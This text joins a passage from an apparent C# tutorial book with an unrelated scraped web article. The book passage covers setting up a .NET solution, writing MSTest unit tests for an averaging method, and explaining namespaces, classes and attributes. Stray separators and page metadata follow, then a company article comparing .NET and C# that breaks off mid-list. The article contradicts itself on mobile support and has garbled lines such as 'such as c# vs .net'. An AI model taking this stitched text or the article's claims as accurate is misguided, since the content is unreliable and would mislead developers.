The -o option here (short for output) indicates that I want the tool to create a new subdirectory for each of these new projects—when you have multiple projects, each needs its own directory.
I now need to add these to the solution:
dotnet sln add ./Averages/Averages.csproj dotnet sln add ./Averages.Tests/Averages.Tests.csproj
I’m going to use that second project to define some tests that will check the code in the first project (which is why I specified a project type of mstest—this project will use Microsoft’s unit test framework). This means that the second project will need access to the code in the first project. To enable that, I run this command:
dotnet add ./Averages.Tests/Averages.Tests.csproj reference ./Averages/Averages.csproj
(I’ve split this over two lines to make it fit, but it needs to be run as a single command.) Finally, to edit the project, I can launch VS Code in the current directory with this command:
code .
If you’re following along, and if this is the first time you’ve run VS Code, it will ask you to make some decisions, such as choosing a color scheme. It might also ask you whether you trust the folder location, in which case you should tell it that you do. You might be tempted to ignore its questions, but one of the things it might offer to do at this point is install extensions for language support. People use VS Code with all sorts of languages, and the installer makes no assumptions about which you will be using, so you have to install an extension to get C# support. If you follow VS Code’s instructions to browse for language extensions, it will offer Microsoft’s C# Dev Kit extension. Don’t panic if VS Code does not offer to do this. The automatic extension suggestion behavior has changed from time to time, and it might have changed again after I wrote this. You might need to open one of the .cs files before it shows a prompt similar to the one in Figure 1-1.
If you don’t see this, perhaps you already had the C# Dev Kit extension installed. To find out, click the Extensions icon on the bar on the lefthand side. It’s the one shown at the bottom left of Figure 1-2, with four squares. If you’ve opened VS code in a directory with a .csproj file in it, the C# Dev Kit extension should appear in the INSTALLED section if you’ve already installed it, and in the RECOMMENDED section if you don’t have it yet.
If you still don’t see it, type C# into the search text box at the top. A few results will appear, so if you’re following along, make sure you get the right one. If you click the search result, it will show more detailed information, which should show its full name as “C# Dev Kit” with a subtitle of “Official C# extension from Microsoft” and it will show “Microsoft” as the publisher. Click the Install button to install the extension.
It might take a few minutes to download and install the C# Dev Kit extension, but once that’s done, at the bottom left of the window the status bar should look similar to Figure 1-3, showing it has found the two projects we created.
The C# Dev Kit extension will inspect all of the source code in all of the projects in the solution. Obviously there’s not much in these yet, but it will continue to analyze code as I type, enabling it to identify problems and make helpful suggestions.
I can take a look at the code by switching to the Explorer view, using the button at the top of the toolbar on the left. As Figure 1-4 shows, it displays the directories and files. I’ve expanded the Averages.Tests directory and have selected its UnitTest1.cs file.
Tip
If you single-click a file in the Explorer panel, VS Code shows it in a preview tab, meaning that it won’t stay open for long: as soon as you click some other file, that displaces the one you had open before. This is designed to avoid ending up with hundreds of open tabs, but if you’re working back and forth across two files, this can be annoying. You can avoid this by double-clicking the file when you open it—that opens a nonpreview tab, which will remain open until you deliberately close it. If you already have a file open in a preview tab, you can double-click the filename to turn it into an ordinary tab. VS Code shows the filename in italics in preview tabs, and you’ll see it change to nonitalic when you double-click.
You might be wondering why I expanded the Averages.Tests directory. The purpose of this test project will be to ensure that the main project does what it’s supposed to. With this example, I’ll be following the engineering practice of defining tests that embody my requirements before writing the code being tested (sometimes known as test driven development or TDD). That means starting with the test project.
Writing a Unit Test
When I ran the command to create this project earlier, I specified a project type of mstest. This project template has provided me with a test class to get me started, in a file called UnitTest1.cs. I want to pick a more informative name. There are various schools of thought as to how you should structure your unit tests. Some developers advocate one test class for each class you wish to test, but I like the style where you write a class for each scenario in which you want to test a particular class, with one method for each of the things that should be true about your code in that scenario. This program will only have one behavior: it will calculate the arithmetic mean of its inputs. So I’ll rename the UnitTest1.cs source file to WhenCalculatingAverages.cs. (You can rename a file by right-clicking it in VS Code’s Explorer panel and selecting the Rename entry.) This test should verify that we get the expected results for a few representative inputs. Example 1-3 shows a complete source file that does this; there are two tests here, shown in bold.
Example 1-3. A unit test class for our first program
usingMicrosoft.VisualStudio.TestTools.UnitTesting;namespaceAverages.Tests; [TestClass]publicclassWhenCalculatingAverages{[TestMethod]publicvoidSingleInputShouldProduceSameValueAsResult(){string[]inputs={"1"};doubleresult=AverageCalculator.ArithmeticMean(inputs);Assert.AreEqual(1.0,result,1E-14);} [TestMethod]publicvoidMultipleInputsShouldProduceAverageAsResult(){string[]inputs={"1","2","3"};doubleresult=AverageCalculator.ArithmeticMean(inputs);Assert.AreEqual(2.0,result,1E-14);}}
I will explain each of the features in this file once I’ve shown the program itself. For now, the most interesting parts of this example are the two methods. First, we have the SingleInputShouldProduceSameValueAsResult method, which checks that our program correctly handles the case where there is a single input. The first line inside this method describes the input—a single number. (Slightly surprisingly, this test represents the numbers as strings. This is because our inputs will ultimately come as command-line arguments, so our test needs to reflect that.) The second line executes the code under test (which I’ve not actually written yet). And the third line states that the calculated average should be equal to the one and only input. If it’s not, this test will report a failure. The second method, MultipleInputsShouldProduceAverageAsResult, checks a slightly more complex case, in which there are three inputs, but has the same basic shape as the first.
Note
This code uses C#’s double type, a double-precision floating-point number, to be able to represent results that are not whole numbers. I’ll be describing C#’s built-in data types in more detail in the next chapter, but be aware that as with most programming languages, floating-point arithmetic in C# has limited precision. The Assert.AreEqual method I’m using to check the results here takes this into account and lets me specify maximum tolerance for imprecision. The final argument of 1E-14 in each case denotes the number 1 divided by 10 raised to the power of 14, so these tests are stating that they require the answer to be correct to 14 decimal places.
Let’s focus on one particular line from these tests: the one that runs the code I want to test. Example 1-4 shows the relevant line from Example 1-3. This is how you invoke a method that returns a result in C#. This line starts by declaring a variable to hold the result. (The text double indicates the data type, and result is the variable’s name.) All methods in C# need to be defined inside a type, so just as we saw earlier with the Console.WriteLine example, we have the same form here: a type name, then a period, then a method name. And then, in parentheses, the input to the method.
Example 1-4. Calling a method
double result = AverageCalculator.ArithmeticMean(inputs);
If you are following along by typing the code in as you read, then if you look at the two places this line of code appears (once in each test method), you might notice that VS Code has drawn a squiggly line underneath AverageCalculator. Hovering the mouse over this kind of squiggly shows an error message, as Figure 1-5 shows.
This is telling us something we already knew: I haven’t yet written the code that this test aims to test. Let’s fix that. I need to add a new file, which I can do in VS Code’s Explorer view by clicking the Averages directory and then, with that selected, clicking the leftmost button on the toolbar near the top of the Explorer. Figure 1-6 shows that when you hover the mouse over this button, it shows a tool tip confirming its purpose. After clicking it, I can type in AverageCalculator.cs as the name for the new file.
VS Code will create a new, empty file. I’ll add the smallest amount of code I can to fix the error reported in Figure 1-5. Example 1-5 will satisfy the C# compiler. It’s not complete yet—it doesn’t perform the necessary calculations, but we’ll come to that.
Example 1-5. A simple class
namespace Averages; public static class AverageCalculator { public static double ArithmeticMean(string[] args) { return 1.0; } }
You can now build the code. If you look at the bottom of VS Code’s Explorer, you should see a Solution Explorer section. If you expand this, it will show the solution and its two projects. You can right-click the solution and select Build, as Figure 1-7 shows. Alternatively, you can just type dotnet build at the command line. Or you can use the Ctrl-Shift-B shortcut. The first time you use that shortcut, it may ask you to confirm that you want to use the dotnet build command to perform the build.
Once the build is complete, you should see a flask icon on the button bar on the left of the VS Code window, as Figure 1-8 shows. If you click this, it will show the Testing panel, enabling you to run tests and see the results.
The Testing panel shows the tests hierarchically, first grouped by project and then by namespace. (Since your test project is called Averages.Tests, and all its tests are in a namespace called Averages.Tests, you’ll see that appear twice, as Figure 1-9 shows.) At the top of the Testing panel is a row of buttons. One shows a couple of triangles, one on top of the other. If you click this it will run all of the tests.
Since we’ve not finished writing the library yet, one of these tests will fail. As Figure 1-9 shows, this is indicated by showing a cross next to the test. If you click the failing test, VS Code will show you the point in the code at which the test failed, along with details including the failure message and a stack trace, as Figure 1-10 shows.
You can alternatively run tests with the command dotnet test. It shows the same information as Visual Studio Code did, but just as normal console output:
Failed MultipleInputsShouldProduceAverageAsResult [291 ms] Error Message: Assert.AreEqual failed. Expected a difference no greater than <1E-14> between expected value <2> and actual value <1>. Stack Trace: at Averages.Tests.WhenCalculatingAverages. MultipleInputsShouldProduceAverageAsResult() in C:\book\Averages\Averages.Tests\WhenCalculatingAverages.cs:line 21 at System.RuntimeMethodHandle.InvokeMethod(Object target, Void** arguments, Signature sig, Boolean isConstructor) at System.Reflection.MethodBaseInvoker.InvokeWithNoArgs(Object obj, BindingFlags invokeAttr) Failed! - Failed: 1, Passed: 1, Skipped: 0, Total: 2, Duration: 364 ms - Averages.Tests.dll (net6.0)
As expected, we get failures because I’ve not written a proper implementation yet. But first, I want to explain each element of Example 1-5 in turn, as it provides a useful introduction to some important elements of C# syntax and structure. The very first thing in this file is a namespace declaration.
Namespaces
Namespaces bring order and structure to what would otherwise be a horrible mess. The .NET runtime libraries contain thousands of types, and there are many more out there in NuGet packages both from Microsoft and third parties, not to mention the classes you will write yourself. There are two problems that can occur when dealing with this many named entities. First, it becomes hard to guarantee uniqueness. Second, it can become challenging to discover the API you need; unless you know or can guess the right name, it’s difficult to find what you need from an unstructured list of tens of thousands of things. Namespaces solve both of these problems.
Most .NET types are defined in a namespace. There are certain conventions for namespaces that you’ll see a lot. For example, types in .NET’s runtime libraries are in namespaces that start with System. Additionally, Microsoft has made a wide range of useful libraries available that are not a core part of .NET, and these usually begin with Microsoft, or, if they are for use only with some particular technology, they might be named for that. (For example, there are libraries for using Microsoft’s Azure cloud platform that define types in namespaces that start with Azure.) Libraries from other vendors tend to start with the company name or a product name, while open source libraries often use their project name. You are not forced to put your own types into namespaces, but it’s recommended that you do. C# does not treat System as a special namespace, so nothing’s stopping you from using that for your own types, but unless you’re writing a contribution to the .NET runtime libraries that you will be submitting as a pull request to the .NET runtime source repository, then it’s a bad idea because it will tend to confuse other developers. You should pick something more distinctive for your own code, such as your company or project name. As you can see from the first line of Example 1-5, I’ve chosen to define our AverageCalculator class inside a namespace called Averages, matching our project name.
The style of namespace declaration in Example 1-5 is relatively new, so you are likely to come across the older, slightly more verbose style shown in Example 1-6. The difference is that the namespace declaration is followed by braces ({}), and its effect applies only to the contents of those braces. This makes it possible for a single file to contain multiple namespace declarations. But in practice, the overwhelming majority of C# files contain exactly one namespace declaration. With the old syntax, this means that the majority of the contents of each file has to sit inside a pair of braces, indented by one tab stop. The newer style shown in Example 1-5 applies to all types declared in the file without needing to wrap them explicitly, reducing unproductive clutter in our source files.
Example 1-6. Explicitly scoped namespace declaration
namespace Averages { public static class AverageCalculator { ...as before... } }
The namespace usually gives a clue as to the purpose of a type. For example, all the runtime library types that relate to file handling can be found in the System.IO namespace, while those concerned with networking are under System.Net. Namespaces can form a hierarchy. The runtime libraries’ System namespace contains types and also other namespaces, such as System.Net, and these often contain yet more namespaces, such as System.Net.Sockets and System.Net.Mail. These examples show that namespaces act as a sort of description, which can help you navigate the library. If you were looking for regular expression handling, for example, you might look through the available namespaces and notice the System.Text namespace. Looking in there, you’d find a System.Text.RegularExpressions namespace, at which point you’d be pretty confident that you were looking in the right place.
Namespaces also provide a way to ensure uniqueness. The namespace in which a type is defined is part of that type’s full name. This lets libraries use short, simple names for things. For example, the regular expression API includes a Capture class that represents the results from a regular expression capture. If you are working on software that deals with images, the term capture is commonly used to mean the acquisition of some image data, and you might feel that Capture is the most descriptive name for a class in your own code. It would be annoying to have to pick a different name just because the best one is already taken, particularly if your image acquisition code has no use for regular expressions, meaning that you weren’t even planning to use the existing Capture type.
But in fact, it’s fine. Both types can be called Capture, and they will still have different names. The full name of the regular expression Capture class is effectively System.Text.RegularExpressions.Capture, and likewise, your class’s full name would include its containing namespace (for example, SpiffingSoftworks.Imaging.Capture).
If you really want to, you can write the fully qualified name of a type every time you use it, but most developers don’t want to do anything quite so tedious, which is where the using directives you can see at the start of Examples 1-2 and 1-3 come in. It’s common to see a list of directives at the top of each source file, stating the namespaces of the types that file intends to use. You will normally edit this list to match your file’s requirements. In this example, the dotnet command-line tool added using Microsoft.VisualStudio.TestTools.UnitTesting; when it created the test project. You’ll see different sets in different contexts. If you add a class representing a UI element, for example, Visual Studio would include various UI-related namespaces in the list.
If a project makes heavy use of a particular namespace, we can avoid having to put the same using directive in every single source file by writing a global using directive. If we put the global keyword in front of the directive, as Example 1-7 does, the directive applies to all files in a project. The .NET SDK takes this a step further, by generating a hidden file in your project with a set of these global using directives to ensure that commonly used namespaces such as System and System.Collections.Generic are available. (The exact set of namespaces added as implicit global imports varies by project type—web projects get a few extra, for example. If you’re wondering why unit test projects don’t already do what Example 1-7 does, it’s because the .NET SDK doesn’t have a specific project type for test projects—the mstest template we told dotnet new to use just creates an ordinary class library project with a reference to the unit test library packages.)
Example 1-7. A global using directive
global using Microsoft.VisualStudio.TestTools.UnitTesting;
With using declarations like these (either per-file or global) in place, you can just use the short, unqualified name for a class. The line of code that enables Example 1-1 to do its job uses the System.Console class, but because the SDK adds an implicit global using directive for the System namespace, it can refer to it as just Console.
Namespaces and component names
Earlier, I used the dotnet CLI to add a reference from our Averages.Tests project to our Averages project. You might think that references are redundant—can’t the compiler work out which external libraries we are using from the namespaces? It could if there was a direct correspondence between namespaces and either libraries or packages, but there isn’t.
Library names sometimes align with namespaces—the popular Newtonsoft.Json NuGet package contains a Newtonsoft.Json.dll file that contains classes in the Newtonsoft.Json namespace, for example. But this is an optional convention, and often there’s no such connection—the .NET runtime libraries include a System.Private.CoreLib.dll file, but there is no System.Private.CoreLib namespace. So it is necessary to tell the compiler which libraries your project depends on, and also which namespaces it uses. We will look at the nature and structure of library files in more detail in Chapter 12.
Resolving ambiguity
Even with namespaces, there’s potential for ambiguity. A single source file might use two namespaces that both happen to define a class of the same name. If you want to use that class, then you will need to be explicit, referring to it by its full name. If you need to use such classes a lot in the file, you can still save yourself some typing: you only need to use the full name once because you can define a using alias. Example 1-8 defines two aliases to resolve a clash that I’ve run into a few times: .NET’s desktop UI framework, the Windows Presentation Foundation (WPF), defines a Path class for working with Bézier curves, polygons, and other shapes, but there’s also a Path class for working with filesystem paths, and you might want to use both types together to produce a graphical representation of the contents of a file. Just adding using directives for both namespaces would make the simple name Path ambiguous if unqualified. But as Example 1-8 shows, you can define distinctive aliases for each.
Example 1-8. Resolving ambiguity with aliases
usingSystem.IO;usingSystem.Windows.Shapes;usingIoPath=System.IO.Path;usingWpfPath=System.Windows.Shapes.Path;
With these aliases in place, you can use IoPath as a synonym for the file-related Path class, and WpfPath for the graphical one.
By the way, you can refer to types in your own namespace without qualification, without needing a using directive. That’s why the test code in Example 1-3 doesn’t have a using Averages; directive. However, you might be wondering how this works, since the test code declares a different namespace, Averages.Tests. To understand this, we need to look at namespace nesting.
Nested namespaces
As you’ve already seen, the .NET runtime libraries nest their namespaces, sometimes quite extensively, and you will often want to do the same. There are two ways you can do this. You can nest namespace declarations, as Example 1-9 shows.
Example 1-9. Nesting namespace declarations
namespace MyApp { namespace Storage { ... } }
Alternatively, you can just specify the full namespace in a single declaration, as Example 1-10 shows. This is the more commonly used style. This single-declaration style works with either the newer kind of declaration shown in Example 1-10 or with the older style using braces.
Example 1-10. Nested namespace with a single declaration
namespace MyApp.Storage;
Any code you write in a nested namespace will be able to use types not just from that namespace but also from its containing namespaces without qualification. Code in Examples 1-9 or 1-10 would not need explicit qualification or using directives to use types either in the MyApp.Storage namespace or the MyApp namespace. This is why in Example 1-3 I didn’t need to add a using Averages; directive to be able to access the AverageCalculator in the Averages namespace: the test was declared in the Averages.Tests namespace, and since that is nested in the Averages namespace, the code automatically has access to that outer namespace.
When you define nested namespaces, the convention is to create a matching directory hierarchy. Some tools expect this. Although VS Code doesn’t currently have any particular expectations here, Visual Studio does follow this convention. If your project is called MyApp, it will put new classes in the MyApp namespace when you add them to the project. But if you create a new directory in the project called, say, Storage, Visual Studio will put any new classes you create in that directory into the MyApp.Storage namespace. Again, you’re not required to keep this—Visual Studio just adds a namespace declaration when creating the file, and you’re free to change it. The compiler does not need the namespace to match your directory hierarchy. But since the convention is supported by various tools, including Visual Studio, life will be easier if you follow it.
Classes
After the namespace declaration, our AverageCalculator.cs file defines a class. Example 1-11 shows this part of the file. This starts with the public keyword, which enables this class to be accessed by other components. Next is the static keyword, which indicates that this class is not meant to be instantiated—it offers only class-level operations and no per-instance features. Then comes the class keyword followed by the name, and of course the full name of the type is effectively Averages.AverageCalculator, because of the namespace declaration. As you can see, C# uses braces ({}) to delimit all sorts of things—we already saw this in the older (but still widely used) namespace declaration syntax, and here you can see the same thing with the class, as well as the method it contains.
Example 1-11. A class with a method
public static class AverageCalculator { public static double ArithmeticMean(string[] args) { return 1.0; } }
Classes are C#’s mechanism for defining entities that combine state and behavior, a common object-oriented idiom. But this class contains nothing more than a single method. C# does not support global methods—all code has to be written as a member of some type. So this particular class isn’t very interesting—its only job is to act as the container for the method that will do the actual work. We’ll see some more interesting uses for classes in Chapter 3.
As with the class, I’ve marked the method as public to enable access from other components. I’ve also declared this to be a static method, meaning that it is not necessary to create an instance of the containing type (AverageCalculator, in this case) in order to invoke the method. The double keyword that follows indicates that the type of data this method returns is a double-precision floating-point number.
The method declaration is followed by the method body, which in this example contains code that returns a placeholder value, so all that remains is to modify the code inside the braces delimiting the method body. Example 1-12 shows code that calculates the average instead of just returning 1.0.
Example 1-12. Calculating the average
return args.Select(numText => double.Parse(numText)).Average();
This relies on library functions for working with collections that are part of the set of features collectively known as LINQ, which is the subject of Chapter 10. But just to describe quickly what’s going on here, the Select method lets us apply an operation to every single item in a collection, and in this case, the operation I’m applying is the double.Parse method, a .NET runtime library function that converts a textual string containing a number into the native double-precision floating-point type. And then we push these transformed results through LINQ’s Average method, which does the calculation for us.
With this in place, if I run my tests again, they will all pass. So apparently the code is working. However, I see a problem if I try to verify that informally by running the program, which I can do with this command:
./Averages/bin/Debug/net8.0/Averages 1 2 3 4 5
This just writes out Hello, World! to the screen. I’ve written and tested the code that performs the required calculation, but I’ve not yet connected that up to the program’s entry point. The code that runs when the program starts lives in Program.cs, although there’s nothing special about that filename. The program entry point can live in any file. In older versions of C#, you denoted the entry point by defining a static method called Main, as Example 1-2 showed, and you can still do that with C# 12.0, but we normally use the newer, more succinct approach: we write a file that contains executable statements without putting them explicitly inside a method in a type, and the C# compiler will treat that as the entry point. (You’re only allowed to have one file in your project written that way, because your program can have only one entry point.) If I replace the entire contents of Program.cs with the code shown in Example 1-13, it will have the desired effect.
Example 1-13. Program entry point with arguments
using Averages; Console.WriteLine(AverageCalculator.ArithmeticMean(args));
Notice that I’ve had to add a using directive—when you use this stripped-down program entry point syntax, the code in that file is not in any namespace by default, so I need to state that I want to use the class I defined in the Averages namespace. After that, this code invokes the method I wrote earlier, passing args as an argument, and then calls Console.WriteLine to display the result. When you use this style of program entry point, args is a special name—it’s effectively an implicitly defined local variable that provides access to the command-line arguments. This will be an array of strings, with one entry for each argument. If you want to run the program again with the same arguments as before, run the dotnet build command first to rebuild it.
Tip
Some C-family languages include the filename of the program itself as the first argument, on the grounds that it’s part of what the user typed at the command prompt. C# does not follow this convention. If the program is launched without arguments, the array’s length will be 0. You might have noticed that the code does not cope well with that. Feel free to add a new test scenario that defines the relevant behavior, and to modify the program to match.
Unit Tests
Now that the program is working, I want to return to the tests, because they illustrate a C# feature that the main program does not. If you go back to Example 1-3, it starts in a pretty ordinary way: we have a using directive and then a namespace declaration, for Averages.Tests this time, matching the test project name. But the class looks different. Example 1-14 shows the relevant part of Example 1-3.
Example 1-14. Test class with attribute
[TestClass] public class WhenCalculatingAverages {
Immediately before the class declaration is the text [TestClass]. This is an attribute. Attributes are annotations you can apply to classes, methods, and other features of the code. Most of them do nothing on their own—the compiler records the fact that the attribute is present in the compiled output, but that is all. Attributes are useful only when something goes looking for them, so they tend to be used by frameworks. In this case, I’m using Microsoft’s unit testing framework, and it goes looking for classes annotated with this TestClass attribute. It will ignore classes that do not have this annotation. Attributes are typically specific to a particular framework, and you can define your own, as we’ll see in Chapter 14.
The two methods in the class are also annotated with attributes. Example 1-15 shows the relevant excerpts from Example 1-3. The test runner will execute any methods marked with the [TestMethod] attribute.
Example 1-15. Annotated methods
[TestMethod] public void SingleInputShouldProduceSameValueAsResult() ... [TestMethod] public void MultipleInputsShouldProduceAverageAsResult() ...
And with that, we’ve examined every element of a program and the test project that verifies that it works as intended.
|
||
8582
|
dbpedia
|
2
| 8
|
https://itechnolabs.ca/difference-between-net-and-c-programming-language/
|
en
|
Difference between .Net and C# Programming Language
|
[
"https://www.facebook.com/tr?id=3227166484213143&ev=PageView&noscript=1",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-1-300x39.png 300w, https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-1-1024x132.png 1024w, https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-1-768x99.png 768w, https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-1.png 1109w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-1-300x39.png",
"https://itechnolabs.ca/wp-content/uploads/2023/11/1.What-is-the-difference-between-.Net-and-C-Programming-Language.jpg 1024w, https://itechnolabs.ca/wp-content/uploads/2023/11/1.What-is-the-difference-between-.Net-and-C-Programming-Language-300x174.jpg 300w, https://itechnolabs.ca/wp-content/uploads/2023/11/1.What-is-the-difference-between-.Net-and-C-Programming-Language-768x446.jpg 768w",
"https://itechnolabs.ca/wp-content/uploads/2023/11/1.What-is-the-difference-between-.Net-and-C-Programming-Language.jpg",
"https://itechnolabs.ca/wp-content/uploads/2023/11/2.-Why-do-you-choose-iTechnolabs-for-Software-development-Using-.NET-or-C.jpg 1024w, https://itechnolabs.ca/wp-content/uploads/2023/11/2.-Why-do-you-choose-iTechnolabs-for-Software-development-Using-.NET-or-C-300x70.jpg 300w, https://itechnolabs.ca/wp-content/uploads/2023/11/2.-Why-do-you-choose-iTechnolabs-for-Software-development-Using-.NET-or-C-768x179.jpg 768w",
"https://itechnolabs.ca/wp-content/uploads/2023/11/2.-Why-do-you-choose-iTechnolabs-for-Software-development-Using-.NET-or-C.jpg",
"https://itechnolabs.ca/wp-content/uploads/2021/03/itechnolabs-hire-developers-side-banner.gif",
"https://itechnolabs.ca/wp-content/uploads/2021/03/itechnolabs-hire-developers-side-banner.gif",
"https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-603x720.png 603w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-251x300.png 251w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-20x24.png 20w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-30x36.png 30w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-40x48.png 40w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2.png 668w",
"https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-603x720.png",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Ios-App-Development-itechnolabs.webp 321w, https://itechnolabs.ca/wp-content/uploads/2021/03/Ios-App-Development-itechnolabs-202x300.webp 202w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Ios-App-Development-itechnolabs.webp",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Android-App-Development-min.webp 321w, https://itechnolabs.ca/wp-content/uploads/2021/03/Android-App-Development-min-202x300.webp 202w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Android-App-Development-min.webp",
"https://itechnolabs.ca/wp-content/uploads/2021/03/React-Native-App-Development-1-min.webp 321w, https://itechnolabs.ca/wp-content/uploads/2021/03/React-Native-App-Development-1-min-202x300.webp 202w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/React-Native-App-Development-1-min.webp",
"https://itechnolabs.ca/wp-content/uploads/2021/03/itechnolabs-hire-developers-side-banner.gif",
"https://itechnolabs.ca/wp-content/uploads/2021/03/itechnolabs-hire-developers-side-banner.gif",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Ios-App-Development-itechnolabs.webp 321w, https://itechnolabs.ca/wp-content/uploads/2021/03/Ios-App-Development-itechnolabs-202x300.webp 202w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Ios-App-Development-itechnolabs.webp",
"https://itechnolabs.ca/wp-content/uploads/2021/03/React-Native-App-Development-1-min.webp 321w, https://itechnolabs.ca/wp-content/uploads/2021/03/React-Native-App-Development-1-min-202x300.webp 202w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/React-Native-App-Development-1-min.webp",
"https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-603x720.png 603w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-251x300.png 251w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-20x24.png 20w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-30x36.png 30w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-40x48.png 40w, https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2.png 668w",
"https://itechnolabs.ca/wp-content/uploads/2022/06/hire-2-603x720.png",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Android-App-Development-min.webp 321w, https://itechnolabs.ca/wp-content/uploads/2021/03/Android-App-Development-min-202x300.webp 202w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Android-App-Development-min.webp",
"https://itechnolabs.ca/wp-content/uploads/2021/03/itechnolabs-hire-developers-side-banner.gif",
"https://itechnolabs.ca/wp-content/uploads/2021/03/itechnolabs-hire-developers-side-banner.gif",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-white-1-1024x132.png 1024w, https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-white-1-300x39.png 300w, https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-white-1-768x99.png 768w, https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-white-1.png 1109w",
"https://itechnolabs.ca/wp-content/uploads/2021/03/Logo-itechnolabs-white-1-1024x132.png",
"https://itechnolabs.ca/wp-content/uploads/2021/02/rating-1.png 155w, https://itechnolabs.ca/wp-content/uploads/2021/02/rating-1-150x45.png 150w",
"https://itechnolabs.ca/wp-content/uploads/2021/02/rating-1.png",
"https://itechnolabs.ca/wp-content/uploads/2023/09/dmca-logo.webp",
"https://itechnolabs.ca/wp-content/uploads/2023/09/dmca-logo.webp",
"https://itechnolabs.ca/wp-content/uploads/2023/09/dmca-logo.webp",
"https://itechnolabs.ca/wp-content/uploads/2023/09/dmca-logo.webp",
"https://itechnolabs.ca/wp-content/uploads/2021/02/rating-1.png 155w, https://itechnolabs.ca/wp-content/uploads/2021/02/rating-1-150x45.png 150w",
"https://itechnolabs.ca/wp-content/uploads/2021/02/rating-1.png"
] |
[] |
[] |
[
""
] | null |
[
"Pankaj Arora"
] |
2023-11-02T14:32:24+05:30
|
Now that we have thoroughly explored the general overview of .NET and C#Let's delve into the intricacies and nuances of these powerful technologies. By
|
en
|
iTechnoLabs
|
https://itechnolabs.ca/difference-between-net-and-c-programming-language/
|
.NET is a software framework developed by Microsoft that allows developers to create and run different types of applications. It provides a set of tools, programming languages, and libraries for building web, desktop, mobile, gaming, and IoT applications.
One of the key components of .NET is the Common Language Runtime (CLR), which manages memory and executes code written in any supported language. This means that developers can write code in their preferred language such as C#, VB.NET, F#, or even Python and have it run on the same runtime environment.
What is .NET?
.NET, originally released in 2002, has undergone significant evolution to become a robust and comprehensive development platform. This open-source framework, compatible with Windows, Linux, and macOS, offers exceptional versatility and endless possibilities for developers.
With its high portability, .NET applications can effortlessly run on diverse devices and environments, providing developers with extensive deployment options and flexibility. This flexibility is a key advantage, enabling seamless integration across various platforms, ensuring efficient software delivery, and empowering developers to create innovative solutions that meet the ever-evolving needs of the modern technological landscape.
Additionally, the .NET ecosystem provides a rich set of tools, libraries, and frameworks that further enhance the development experience. From ASP.NET for web development to Xamarin for cross-platform mobile app development, .NET empowers developers to build scalable, performant, and secure applications.
In summary, .NET is not just a development platform; it is a powerful and adaptable ecosystem that empowers developers to bring their ideas to life and deliver exceptional software solutions that drive innovation and transform industries.
.Net Pros and Cons
Pros of .Net
Robust and comprehensive development platform.
Highly portable, allowing applications to run on diverse devices and environments.
Offers extensive deployment options and flexibility for developers.
Provides a rich set of tools, libraries, and frameworks for enhanced development experience.
Supports various programming languages, such as c# vs .net.
Supports cross-platform development, making it ideal for creating applications for Windows, Linux, and macOS.
Offers strong support and community resources for developers.
Continuously evolving and improving, with frequent updates and releases.
Cons of .NET
Can have a steep learning curve for beginners.
Requires knowledge of multiple languages and frameworks to utilize its full potential.
Some features may only be available in paid versions.
Compatibility issues can arise when integrating with legacy systems or third-party tools.
Can have a higher cost of ownership compared to other development platforms.
May not be suitable for high-performance or real-time applications.
Limited support for mobile app development, as it is primarily focused on desktop and server applications.
Main characteristics of .Net Programming Language
1. Support for Language Interoperability
One of the main characteristics of .NET is its support for language interoperability. This means that developers can use multiple programming languages within the same application, allowing them to choose the most suitable language for different parts of their codebase. This feature makes it easier for teams with diverse skills and backgrounds to collaborate on a project.
2. Type Safety and Memory Management
.NET provides type safety and memory management, ensuring that programs are less prone to errors and crashes. The Common Language Runtime (CLR) in .NET automatically handles tasks such as garbage collection, which frees developers from having to manually manage memory.
3. Easy support for multi-threading
.NET has built-in support for multi-threading, allowing developers to easily create and manage multiple threads within an application. This is particularly useful for building applications that require high levels of concurrency or parallel processing.
4. Dynamic Language Runtime (DLR)
The DLR in .NET allows developers to use dynamic languages, such as IronPython and IronRuby, within the .NET framework. This expands the range of programming languages that can be used and makes it easier for developers to integrate existing code written in these languages into a .NET project.
5. Automatic Memory Management
.NET automatically performs memory management tasks, such as garbage collection, which frees developers from having to manually manage memory. This makes .NET a more reliable and secure platform for building applications.
6. Hosting side-by-side execution
.NET allows for side-by-side execution, meaning that multiple versions of the .NET framework can be installed and run on the same machine. This eliminates potential compatibility issues when running applications built on different versions of .NET.
7. Security
.NET provides a wide range of security features, including code access security and role-based access control. This helps to ensure that applications built on .NET are secure and protected from malicious attacks.
8. Interoperability
C# and .NET have excellent interoperability with other programming languages, such as C++, Java, and Python. This makes it easier for developers to incorporate existing code written in these languages into their .NET projects. Additionally, .NET has built-in support for web services, allowing for easy integration with other systems and technologies.
9. Community Support
